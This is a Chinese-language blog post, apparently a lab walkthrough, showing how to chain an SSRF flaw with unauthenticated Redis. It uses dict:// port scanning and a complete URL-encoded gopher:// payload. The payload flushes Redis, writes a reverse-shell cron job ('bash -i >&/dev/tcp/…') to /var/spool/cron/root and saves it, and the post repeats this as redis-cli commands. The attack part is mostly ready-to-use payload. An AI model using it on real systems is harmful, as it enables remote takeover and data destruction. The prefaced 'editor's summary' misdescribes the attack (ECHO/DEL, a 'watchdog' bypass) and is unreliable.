SSRF结合Redis未授权的打法

ssrf,redis · 浏览次数 : 16

小编点评

本次实验主要探讨了如何利用SSRF漏洞和Redis未授权漏洞进行攻击。首先,我们需要了解SSRF漏洞和Redis未授权漏洞的基本原理,然后通过构造特定的Redis数据包来实现攻击。 1. SSRF漏洞原理及利用方法: SSRF是一种攻击者利用服务器功能来访问或操作无法被直接访问的信息的方式。攻击者可以构造恶意的HTTP请求,让服务器代替其访问其他网站或服务。在本例中,我们可以通过构造特定的URL来利用SSRF漏洞访问内网机器。 2. Redis未授权漏洞原理及利用方法: Redis是一个开源的高性能键值存储系统。未授权访问Redis意味着攻击者可以创建一个具有管理员权限的Redis实例。在本例中,我们可以通过构造特定的Redis命令来利用未授权访问漏洞。 3. 构造Redis数据包: 要利用Redis未授权漏洞,我们需要构造一个包含恶意命令的Redis数据包。在本例中,我们使用了`ECHO`命令来发送消息,并通过`DEL`命令来删除指定的键值对。 4. 实验过程: - 首先,我们在Kali机上运行Redis,并通过`redis-cli`连接到Redis服务器。 - 接着,我们使用`echo`命令发送一个包含恶意命令的数据包,例如:`echo "ECHO this is a test"`。 - 然后,我们使用`DEL`命令删除指定的键值对,例如:`DEL test_key`。 5. 结果分析: 当攻击者成功执行上述命令时,他们将获得一个具有管理员权限的Redis实例。这使他们能够执行更高级的操作,例如写入SSH密钥以实现远程登录,或者执行任意代码。 6. 扩展讨论: 在实际攻击中,攻击者可能会遇到更多的挑战,例如目标Redis服务器可能存在身份验证,或者攻击者没有足够的权限来执行某些操作。在这种情况下,攻击者可能需要寻找其他方法来利用Redis未授权漏洞,例如利用Redis的watchdog机制来绕过身份验证。 总之,通过结合SSRF漏洞和Redis未授权漏洞,攻击者可以获得对Redis服务器的完全控制权,并执行各种恶意操作。这对于网络安全领域来说是一个重要的问题,需要引起足够的重视。

正文


SSRF不难理解,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。

服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。

SSRF + Redis未授权 案例

SSRF漏洞结合Redis未授权漏洞,怎么利用?

SSRF漏洞可以:

  • 利用可以访问内网的主机当成代理;

Redis未授权访问漏洞,可以利用该漏洞实现:

  • 信息泄露、数据删除;
  • 写入SSH公钥,SSH远程登录;
  • 反弹Shell
    • Dict协议 —— 2628端口
    • gopher协议 —— 70端口
    • file协议 —— 不涉及网络端口
    • 构造Redis数据包,通过写入Linux 计划任务
    • 构造Redis数据包,利用Redis的数据备份功能,将web shell写入目标服务器(centos)的网站根目录下,然后用菜刀连接获取shell。
  • ...

结合起来就是:
通过代理向内网机器发送请求,收到请求的内网机器,因为机器自身存在未授权Redis漏洞,可以反弹Shell出去。

流程如下:

  • 找到SSRF
  • 找6379端口的过程
  • 验证是否存在SSRF
  • 发送Web攻击荷载

流程图:
image

条件:
当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。

找6379端口的过程:
基于dict协议的利用
GET /ssrf/ssrf.phpurl=dict://192.168.124.153:&XXXX& HTTP/1.1

只需要遍历&XXXX& 从 0-65535 即可。
可能6379端口会修改成别的端口,但可以通过一些响应包内的特征确认:

image

验证是否存在SSRF的方式之一:
GET /ssrf/ssrf.php?url=http://Xxxx.dnslog.cn HTTP/1.1

发送redis数据包:
这里利用gopher协议,所以需要确认一下70端口是否开放。

http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

解码:

gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

在解码:

gopher://192.168.40.34:6379/_*1
$8
flushall
*3
$3
set
$1
1
$59


*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1



*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

只需要修改 192.168.40.10/4444 ,在攻击者机器监听4444端口,就可以得到shell了。

思考:

  1. 本次实验只是针对基于SSRF漏洞的gopher协议攻击,但是在真实环境中,SSRF内的内网主机或者服务器有可能是不出网,这时候怎么反弹shell ?

  2. 如果目标 Redis 服务器存在身份验证,公网内存在VPS怎么反弹?如果没有root权限怎么实现计划任务?

怎么构造 redis 数据包?

背景知识:
gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。

在利用gopher协议进行攻击时,我们首先要知道gopher协议的流的怎么样的,所以现在需要构造一个正常请求,在攻击机上启用监听,使用流量转发工具socat,抓取tcp流量,然后将其流量转换为gopher格式,生成gopher流的攻击样本,为下面是构造一个gopher流的过程:

  1. 打开socat流量工具,记录攻击流量

  2. 现找一台类似环境的Redis服务器,在系统中执行如下命令:

      Redis攻击代码:
      redis-cli -h 127.0.0.1 flushall  #清除缓存
      echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1  #反弹shell,由于在kali机上开启了监听,所以可以将本地的流量转发至这里,每隔1分钟往kali弹shell
    
      redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录,这里指的是计划任务
      redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字,也就是将计划任务写入到目标的文件
      redis-cli -h 127.0.0.1 save  #保存
    
  3. 将如上的流量写入到1.txt,在将1.txt的TCP流形式转换为gopher流格式:

    *1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
    

Reference

SSRF之利用dict和gopher吊打Redis
https://www.cnblogs.com/CoLo/p/14214208.html

SSRF——手把手教你Redis反弹Shell
https://blog.csdn.net/sudu2020dd/article/details/130998763

与SSRF结合Redis未授权的打法相似的内容: